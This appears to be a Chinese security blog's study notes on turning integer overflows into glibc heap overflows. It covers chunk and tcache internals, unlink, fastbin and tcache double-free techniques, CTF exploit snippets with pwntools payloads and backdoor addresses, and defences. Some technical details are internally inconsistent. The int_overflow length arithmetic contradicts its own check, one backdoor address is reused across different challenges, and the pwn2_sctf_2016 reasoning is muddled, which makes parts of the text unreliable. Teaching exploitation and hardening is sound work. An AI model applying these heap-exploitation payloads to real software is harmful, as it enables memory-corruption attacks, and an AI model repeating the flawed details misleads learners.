当前位置: 首页 > news >正文

【学习记录】Week8(三):从整数漏洞到堆溢出——深入理解内存破坏的进阶利用链

写在前面:在Week8的前两篇中,我们系统学习了整数溢出/下溢和符号转换/长度计算错误的原理。今天,我们将迎来本周的高潮——探讨这些看似抽象的整数漏洞如何直接导致严重的堆溢出,并最终实现任意代码执行。与栈溢出不同,堆溢出发生在程序动态分配的内存区域,其利用需要深入理解内存管理器的实现原理,是通往高阶PWN的必经之路yisu.com。

📑 目录

  1. 堆内存管理基础:ptmalloc2与Chunk结构
  2. 整数漏洞→堆溢出的转化机制
  3. 堆溢出利用技术:从Unlink到Fastbin Attack
  4. 实战案例:CTF中的整数到堆溢出利用链
  5. 防御与缓解:从编码到运行时保护
  6. 总结与进阶展望

1. 堆内存管理基础:ptmalloc2与Chunk结构

要理解堆溢出,必须先理解glibc的ptmalloc2内存管理器如何组织堆内存csdn.net+1。

1.1 堆Chunk结构解析

在ptmalloc2中,堆内存被划分为多个连续的chunk,每个chunk包含头部用户数据区

struct malloc_chunk { size_t prev_size; // 前一个chunk空闲时有效 size_t size; // 低3位用作标志位 union { struct { malloc_chunk* fd; // forward pointer malloc_chunk* bk; // backward pointer }; char user_data[0]; // 用户数据区 }; };

关键标志位

  • PREV_INUSE(0x1): 前一个chunk是否在使用中
  • IS_MMAPPED(0x2): 是否通过mmap分配
  • NON_MAIN_ARENA(0x4): 是否属于非主arena

1.2 分配与释放流程

Fast Bin范围

Small Bin范围

Large请求

Fast Bin范围

非Fast Bin

用户请求malloc

size检查

检查fastbinsY

检查unsortedbin

使用top chunk或sys_alloc

返回chunk

用户调用free

chunk类型检查

插入fastbinsY

合并相邻空闲chunk

完成

插入unsortedbin

First-fit算法:glibc使用first-fit算法选择空闲chunk,即找到第一个足够大的空闲chunk就进行分配csdn.net。这在use-after-free场景中可被利用。

1.3 Tcache机制(glibc 2.26+)

现代glibc引入了线程缓存机制,每个线程维护一个tcache_perthread_struct结构体,包含多个单链表,用于缓存小chunkzhihu.com。

typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表指针数组 } tcache_perthread_struct;

Tcache降低了安全性但提高了性能,其检查较少,成为攻击者的重点目标。

2. 整数漏洞→堆溢出的转化机制

整数漏洞本身不直接造成危害,但其导致的内存分配尺寸错误是堆溢出的直接导火索csdn.net。

2.1 完整转化链路

整数计算溢出
size = len1 + len2

错误的malloc参数
malloc(3)

分配过小堆块
实际仅3字节

越界写入
memcpy(ptr, src, 0x100000003)

覆盖相邻chunk元数据
fd/bk/size字段

利用触发
unlink/hook覆盖

控制流劫持

2.2 典型漏洞模式

模式1:无符号整数回绕导致分配过小
void process_data(unsigned int len) { char *buf = malloc(len + 1); // len=0xFFFFFFFF时,len+1=0 memcpy(buf, user_input, len); // 堆溢出:拷贝0xFFFFFFFF字节到0字节缓冲区 }
模式2:有符号负数导致巨大分配
void allocate_buffer(int size) { if (size > 0) { // 仅检查正数 char *buf = malloc(size); // size=-1转换为UINT_MAX=4294967295 // 实际分配失败或极小缓冲区 } }
模式3:宽度截断导致长度计算错误
unsigned short total = strlen(str1) + strlen(str2) + 1; // size_t被截断 char *buf = malloc(total); // 分配过小缓冲区 strcpy(buf, str1); // 堆溢出 strcat(buf, str2);

2.3 真实案例:Linux Kernel BPF整数溢出csdn.net

// 漏洞代码(简化) u32 insn_cnt = prog->len; u32 size = insn_cnt * sizeof(struct bpf_insn); // 整数溢出 struct bpf_insn *new_insn = malloc(size); // 分配过小 memcpy(new_insn, old_insn, insn_cnt * sizeof(struct bpf_insn)); // 堆溢出

insn_cnt足够大时,insn_cnt * sizeof(struct bpf_insn)发生整数溢出,导致malloc分配过小缓冲区,后续memcpy造成堆溢出。

3. 堆溢出利用技术:从Unlink到Fastbin Attack

3.1 Unlink攻击

利用条件

  1. 存在溢出可修改下一个chunk的size和prev_size
  2. 可触发unlink操作(如free)

攻击原理

// 伪造fake chunk fake_chunk = { .prev_size = 0, .size = 0x91, .fd = target_addr - 0x18, .bk = target_addr - 0x10 }; // 触发unlink时执行: // P->fd->bk = P->bk => *(target_addr - 0x18 + 0x18) = target_addr - 0x10 // P->bk->fd = P->fd => *(target_addr - 0x10 + 0x10) = target_addr - 0x18

效果:实现任意地址写入,可覆盖GOT表、__malloc_hook等关键位置。

3.2 Fastbin Attack

利用条件

  1. 可控制fastbin链表的fd指针
  2. 可触发malloc从fastbin中取出chunk

攻击步骤

# 1. 伪造fastbin条目 fake_chunk = 0x08049000 # 伪造的chunk地址 fake_chunk_size = 0x29 # 伪造的size字段(满足fastbin要求) # 2. 溢出覆盖fastbin的fd指针 payload = p64(fake_chunk) # 将fd指针指向伪造地址 # 3. 连续malloc两次 malloc(0x28); # 第一次返回正常chunk malloc(0x28); # 第二次返回伪造地址处的chunk

效果:在任意地址分配chunk,实现任意地址写入。

3.3 House of系列攻击

<details> <summary>🔧 House of Spirit技术细节</summary>

House of Spirit:通过在目标地址伪造一个合法的chunk结构,然后将其释放,使其被放入bin中,后续malloc时可再次获取该chunk。

// 伪造chunk struct { size_t prev_size; size_t size; char data[0]; } fake_chunk; fake_chunk.size = 0x41; // 满足fastbin要求 // ...在目标地址布置fake_chunk free(&fake_chunk); // 释放伪造chunk malloc(0x38); // 再次获取该chunk,实现任意地址写入

</details>

3.4 Tcache利用(glibc 2.26+)

<details> <summary>📖 Tcache Double Free利用</summary>

# Tcache Double Free利用 def tcache_double_free(): # 1. 分配并释放chunk两次 ptr1 = malloc(0x20) free(ptr1) free(ptr1) # Double free # 2. 修改tcache链表头 # 溢出覆盖tcache->entries[idx]为target_addr # 3. 再次分配,获取target_addr处的chunk ptr2 = malloc(0x20) # 返回target_addr ptr3 = malloc(0x20) # 再次返回target_addr

</details>

4. 实战案例:CTF中的整数到堆溢出利用链

4.1 案例一:pwn2_sctf_2016csdn.net+1

漏洞分析

void vuln() { char buf[40]; unsigned int n; printf("How many bytes do you want me to read? "); scanf("%u", &n); get_n(buf, n); // 整数溢出点 puts(buf); } int get_n(char* buf, unsigned int size) { // size参数为unsigned int,但可能被截断或溢出 // 实际读取的字节数可能超过buf大小 }

利用流程

# 1. 构造整数溢出 payload = b'A' * 40 # 填充buf payload += p32(0x0804858B) # 后门函数地址 # 2. 利用整数溢出绕过长度检查 # 当n=0xFFFFFFFF时,get_n可能读取大量数据 # 但实际写入buf的数据超过40字节,造成栈溢出 # 3. 完整EXP from pwn import * p = process('./pwn2_sctf_2016') p.sendlineafter(b'read?', b'4294967295') # 触发整数溢出 p.sendline(payload) p.interactive()

4.2 案例二:int_overflowcsdn.net+1

漏洞分析

unsigned char passwd_len = strlen(buf); // 截断:size_t→unsigned char if (passwd_len >= 4 && passwd_len <= 8) { // 仅检查截断后的值 strcpy(dest, buf); // 栈溢出 }

利用步骤

  1. 长度欺骗:构造259字节输入,259 % 256 = 3,满足3 < 8的条件
  2. 栈溢出strcpy拷贝259字节到20字节缓冲区
  3. 控制流劫持:覆盖返回地址到后门函数
# 完整EXP payload = b'A' * 24 # 填充到返回地址 payload += p32(0x0804858B) # 后门函数地址 payload = payload.ljust(259, b'a') # 填充到259字节 p.sendline(payload)

4.3 案例三:FastCGI堆溢出(CVE-2025-23016)freebuf.com

漏洞原理

// FastCGI库中的ReadParams函数 size_t total_len = key_len + val_len + 2; // 整数溢出 char *buf = malloc(total_len); // 分配过小缓冲区 memcpy(buf, key, key_len); // 堆溢出 memcpy(buf + key_len, val, val_len);

利用效果

  • 破坏内存结构
  • 覆盖FastCGI流结构中的函数指针
  • 实现任意代码执行

5. 防御与缓解:从编码到运行时保护

5.1 安全编码实践

5.1.1 长度计算安全化
// 安全的加法检查 bool safe_add(size_t a, size_t b, size_t *result) { if (a > SIZE_MAX - b) { return false; // 溢出 } *result = a + b; return true; } // 使用安全整数库 #include <checked_int.h> checked_size_t len = checked_add(strlen(a), strlen(b)); if (checked_is_overflow(len)) { // 处理溢出 }
5.1.2 类型一致性
// 统一使用size_t处理内存大小 void process_data(char *input, size_t len) { char buf[64]; if (len < sizeof(buf)) { // 一致的无符号比较 memcpy(buf, input, len); } }
5.1.3 编译器辅助
# GCC安全编译选项 gcc -O2 -Wall -Wextra -Wconversion -fsanitize=undefined -ftrapv \ -fstack-protector-strong -D_FORTIFY_SOURCE=2 \ -Wl,-z,relro,-z,now -o program program.c

5.2 运行时保护机制

防护机制技术实现性能影响覆盖范围
ASLR地址空间随机化<2%全局
DEP/NX数据不可执行0%栈/堆
Canary栈溢出检测2-5%
RELROGOT表只读1-3%GOT表
Fortify缓冲区函数检查3-8%标准库

5.3 高级防护技术

<details> <summary>⚙️ Hardened Malloc实现</summary>

// hardened_malloc设计要点 - 元数据隔离:将chunk元数据与用户数据分离存储 - 随机化:chunk布局随机化,增加预测难度 - 双重释放检测:维护释放历史记录 - 相邻chunk校验:检查相邻chunk完整性 - 延迟合并:延迟空闲chunk合并,增加利用复杂度

</details>

6. 总结与进阶展望

6.1 核心知识点总结

  1. 整数漏洞是堆溢出的上游导火索:无符号整数回绕、有符号负数转换、宽度截断都可导致内存分配尺寸错误csdn.net
  2. 堆溢出利用需要深入理解内存管理器:ptmalloc2的chunk结构、bin机制、first-fit算法都是利用基础csdn.net+1
  3. 典型利用技术:Unlink攻击、Fastbin Attack、House of Spirit、Tcache Double Free各有适用场景
  4. 现代防护机制可被绕过:ASLR需信息泄露,Canary需部分覆盖,RELRO需GOT表可写

6.2 易错点与注意事项

  1. 不要假设整数溢出后一定回绕:有符号溢出是未定义行为,不同编译器处理可能不同
  2. 注意隐式类型转换:有符号数与无符号数运算时,有符号数会被转换为无符号数
  3. 检查所有用户可控的数值输入:包括长度、索引、计数器、偏移量等
  4. 堆布局不可预测:ASLR、堆随机化使堆地址难以预测,需信息泄露

6.3 进阶学习方向

<details> <summary>📚 推荐学习路径</summary>

  1. 内核堆利用:Linux内核slab/slub分配器,内核ROP
  2. JIT编译器漏洞:V8、SpiderMonkey中的整数溢出
  3. 嵌入式系统:RTOS堆实现差异,缺少防护机制
  4. 新型防护机制:MPX、CET、Shadow Stack
  5. 自动化漏洞挖掘:AFL、libFuzzer结合整数漏洞检测

</details>

6.4 下周预告 (Week9)

下周我们将进入格式化字符串漏洞的进阶世界,探讨:

  • 格式化字符串与堆漏洞的结合利用
  • 现代编译器对格式化字符串的防护及绕过
  • 真实CVE案例中的格式化字符串漏洞分析
  • 自动化检测与修复技术

📊 知识图谱总结

最终结论:整数漏洞到堆溢出的转化是二进制安全中最重要的漏洞链之一。理解这一转化过程,不仅能帮助你发现和利用漏洞,更能让你写出更安全的代码。在攻防博弈中,谁先理解底层,谁就掌握了安全的主动权huaweicloud.com。

参考文献

  1. CTF PWN实战:利用整数溢出漏洞攻破pwn2_sctf_2016
  2. 关于Heap Overflow(堆溢出)
  3. 从CTF到实战:手把手教你复现攻防世界int_overflow整数溢出漏洞
  4. 整数溢出怎么一步步变成堆溢出漏洞的?
  5. CTF PWN堆溢出的示例分析
  6. CVE-2025-23016:FastCGI堆溢出高危漏洞威胁嵌入式设备
http://www.jsqmd.com/news/1113236/

相关文章:

  • 电脑录制视频快捷键大全!7种方法一键开启录制,搞定高清录屏
  • 小企业AI落地实战:从痛点诊断到自动化的5步闭环
  • 网站加密证书
  • Autoswagger与Nuclei集成:自动化API安全检测实践指南
  • Java国密SM2算法实战:从Bouncy Castle集成到加解密签名完整实现
  • 软考继续教育学分认证全流程拆解(从选课→学习→考核→上传→审核→入库,一步不卡壳)
  • 代码大模型选型实战指南:任务类型×语言生态×工程上下文三维诊断
  • 你的直播素材录制为什么总是模糊?
  • ML模型服务化实战:生产稳定性与可观测性落地指南
  • Python AES加密实战:从原理到实现,打造安全可靠的加密工具
  • Illustrative Visualization – New Technology or Useless Tautology
  • Python实现AES、DES、ChaCha20对称加密算法实战指南
  • 三步破解学术加密文档:从KDH/NH到可编辑PDF的完整方案
  • 直播推流协议怎么选?RTMP、WebRTC与RTC连麦的区别与选型逻辑
  • 【ubuntu】Ubuntu20排查 Wi-Fi 和蓝牙同时消失的经验总结
  • 苏州市启动2026年省市两级企业技术中心申报!
  • 3分钟学会Java地址智能解析:告别混乱地址,一键提取结构化信息
  • PAI支持一键部署GLM-5.2,Coding能力比肩Claude Opus 4.8
  • Python控制流完全指南
  • 工程成本管理系统如何精准控支出,规避超支核算滞后与盈亏模糊问题
  • 全球首份大语言模型安全防范能力测评报告在北京发布
  • 内网渗透测试中SharpScan工具的5个关键配置错误与规避策略
  • Linux第四次实验作业
  • CNC五轴加工干货:一文看懂哪些零件适合选这种工艺
  • Java加密开发实战:InvalidKeyException异常深度解析与解决方案
  • 国内四向车公司有哪些?2026年头部玩家实力对比
  • Linux的基础知识和常见命令
  • 模拟开关和继电器该怎么选?
  • 福特:曾借 AI 裁员,如今召回资深工程师修复系统,还称未放弃 AI
  • ORB-SLAM3 DetectRelocalizationCandidates